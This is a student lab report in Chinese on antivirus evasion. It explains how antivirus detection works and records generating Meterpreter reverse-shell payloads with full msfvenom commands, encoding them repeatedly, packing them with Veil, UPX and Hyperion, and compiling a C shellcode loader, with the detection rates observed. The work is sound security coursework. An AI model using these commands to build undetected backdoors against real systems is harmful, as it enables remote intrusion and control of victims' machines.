20232404 2025-2026-1 《网络与系统攻防技术》实验三实验报告
1.实验内容
1.1具体内容
本周主要学习了恶意代码的检测原理和免杀技术实现方法，包括：
- 理解杀毒软件的检测机制和免杀基本原理
- 掌握Msfvenom、Veil等工具的使用方法
- 尝试进行压缩加壳和加密加壳处理
- 编写C语言加载器实现内存注入技术
- 综合应用各种免杀技术规避杀软检测并建立回连
1.2回答问题
（1）杀软是如何检测出恶意代码的？
杀毒软件主要通过识别恶意代码的特征或异常行为来实现检测：
- 特征码检测原理：通过提取已知恶意代码的独特二进制片段建立特征库，扫描时进行匹配识别。
- 行为检测原理：监控程序运行行为，发现未授权的摄像头调用、远程反向连接等恶意特征时进行拦截。
- 启发式检测原理：基于恶意代码的共同逻辑建立规则，符合多条可疑规则即判定为潜在威胁。
（2）免杀是做什么？
免杀的目标是让恶意代码在杀软开启的环境中，既不被识别为威胁，又能正常执行核心功能。通过编码器修改payload特征码、重写代码逻辑或使用内存加载技术，使后门程序能够在本地杀软监控下顺利运行，并回连控制端。
（3）免杀的基本方法有哪些？
- 规避特征码检测：通过多次编码、重写代码逻辑破坏恶意特征片段
- 隐藏恶意行为：采用延迟执行、伪装正常行为、分段执行等技术
- 伪装载体与格式：更换文件格式、加壳压缩改变文件形态
- 内存加载：使用C+Shellcode内存加载、进程注入等技术避免文件检测
2.实验过程
2.1利用MSF编码器生成免杀payload
（1）只进行一次shikata_ga_nai编码，生成exe文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.29.134 LPORT=4444 -e x86/shikata_ga_nai -b '\x00' -f exe -o msf_encoded0.exe
命令中的-b '\x00'是为了排除空字节，防止payload失效。
将生成的msf_encoded0.exe程序通过winscp传回我的本机，并进行恶意文件检测。
检测网址：https://www.virscan.org
在另一恶意文件检测网站https://www.virustotal.com/
（2）用msfvenom进行5次shikata_ga_nai编码，生成 EXE文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.29.134 LPORT=4444 -e x86/shikata_ga_nai -i 5 -b '\x00' -f exe -o msf_encoded.exe
-i 5表示指定编码迭代次数为5次，通过多次编码进一步混淆payload特征，降低被特征码检测到的概率。
进行恶意文件检测
在同一网站我又重新检测，还是12/48，比较稳定。
（3）用msfvenom进行20次shikata_ga_nai编码，生成EXE文件
进行恶意文件检测，最后一个检测的特别慢，大概检测了8分钟。
（4）用msfvenom进行1次shikata_ga_nai编码，生成jar文件
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.29.134 LPORT=4445 -f jar -o msf_java_backdoor.jar
命令中的-f jar是指定输出格式为Java归档文件Jar，因为Jar通常用于正常Java程序，可能降低杀软的扫描优先级。
再次进行恶意文件检测，通过对比可见，编码次数对于躲避恶意文件检测确实有一些作用，但微乎其微。
（5）用msfvenom进行生成10次编码的jar包
进行恶意文件检测
2.2使用Veil进行免杀处理
（1）安装veil
先进行更新，然后使用sudo apt -y install veil进行安装。
进入Veil主界面后，通过use evasion进入子界面，使用list列出所有支持的免杀模块。
（3）选取C语言反向TCP模块
设置IP与监听端口后，通过generate生成免杀文件。
进行恶意文件检测
2.3 使用加壳工具
（1）生成基于Python的Meterpreter反向TCP载荷。
因权限不足，我先为文件加权，再使用generate生成
进行UPX压缩处理。此命令中的-9是指定最高压缩级别，共有1-9个级别，压缩率越高，对特征码的隐藏效果可能越好。
寻找到hyperion所在的目录
把源程序通过cp移动过来
进行Hyperion加密加壳wine ./hyperion.exe -v ./veil_python_ecp_upx.exe ./veil_python_ecp_final.exe
进行恶意文件检测
（2）生成基于go的Meterpreter反向TCP载荷
进行压缩和加密加壳
进行恶意文件检测
可见添加壳后效果不佳，应该是各杀毒软件都已经记住了相应的特征码。
2.3使用C+Shellcode
生成Shellcode并保存为C数组格式
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.29.134 LPORT=4462 -f c -o shellcode.c
将生成的buf注入下文代码：
保存为shellcode_loader.c
使用Kali自带的交叉编译器i686-w64-mingw32-gcc将C代码编译成32位Windows可执行文件
2.4综合技术应用测试
对于之前使用c+shellcode方式生成的程序进行加压缩处理，并进行恶意文件检测，被发现的概率显著降低
进行加密加壳处理
进行恶意文件检测，被检测为木马的概率更高了。
关闭杀软，测试程序能否正确回连
开启杀软，但很可惜最终也没有实现免杀和杀软开启条件下的回连效果，被迅速查杀了。
我的360安全卫士是
3.问题及解决方案
- 问题1：kali机上为了保护python环境，所以不允许我随意安装包
- 解决方案：创建虚拟环境myenv，并重新安装，可以正确配置pycryptodome等库，这个本来是用于综合技术中的加密方式的，但是因为我那个程序尚需修改，没有写进博客里。
- 问题2：Wine运行Hyperion不成功
- 解决方案：找到Hyperion实际安装目录，使用正确路径执行加密命令
![image]()
- 解决方案：找到Hyperion实际安装目录，使用正确路径执行加密命令
- 问题3：C+Shellcode程序无法建立回连
- 解决方案：通过使用简单的payload进行测试，发现第一个问题是网络端口错误，但改正后仍不行，最后发现是代码涉及到权限的问题。
![image]()
- 解决方案：通过使用简单的payload进行测试，发现第一个问题是网络端口错误，但改正后仍不行，最后发现是代码涉及到权限的问题。
4.学习感悟
在学习知识方面，这次实验让我对恶意代码的构成和防护有了更全面的认识，也让我深刻意识到现在的安全防护技术非常强。如今免杀技术百花齐放，而安全厂商也在不断更新检测算法，这种竞争无疑促进了双方的发展。即使我尝试了各种各样的措施，程序仍然会被360安全卫士检测到，被识别为木马甚至直接删除。我尝试使用AES加密Shellcode，并生成密钥和IV。但是即使关掉免杀也无法正确回连，而且在检测中更是出现了0/48的奇怪成绩，这足以说明我的程序内部有问题。时间所限，我未能继续改进，以后的实验我会尽早完成，给这种加强版调试留出时间。
在学习方法方面，我也掌握了kali机上的快捷键，感觉方便很多。而且对于较多分点的实验，一定要注意每张截图对应什么内容，否则在全部做完以后再查找就会非常麻烦。
浙公网安备 33010602011771号